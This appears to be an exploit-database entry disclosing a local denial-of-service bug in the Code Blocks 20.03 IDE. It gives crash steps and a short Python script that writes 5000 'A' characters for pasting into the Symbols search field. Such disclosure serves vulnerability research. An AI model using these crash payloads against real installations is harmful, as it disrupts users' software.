Code Blocks 20.03 Denial Of Service

2020.06.24

Credit: Paras Bhatia

Risk: Medium

Local: Yes

Remote: No

CVE: N/A

CWE: N/A

# Exploit Title: Code Blocks 20.03 - Denial Of Service (PoC) 
# Vendor Homepage: http://www.codeblocks.org/ 
# Software Link Download: https://sourceforge.net/projects/codeblocks/files/Binaries/20.03/Windows/codeblocks-20.03-setup.exe/download
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-06-23
# Vulnerable Software: Code Blocks
# Version: 20.03
# Vulnerability Type: Denial of Service (DoS)
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

#Steps to Produce the Crash:

#   1.- Run python code: CodeBlocksCrash.py
#   2.- Copy content to clipboard
#   3.- Open "codeblocks.exe"
#   4.- In the "Management" section on left hand side, Click on "FSymbols" tab.
#   5.- Select "Active project's symbols" from drop down "View:" menu.
#   6.- Paste ClipBoard into the "Search:" field.
#   7.- Press Enter from keyboard.
#   8.- Crashed.


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#Python "CodeBlocksCrash.py" Code:

f= open("CodeBlocksCrash.txt", "w")

payload="\x41" * 5000

f.write(payload)

f.close()

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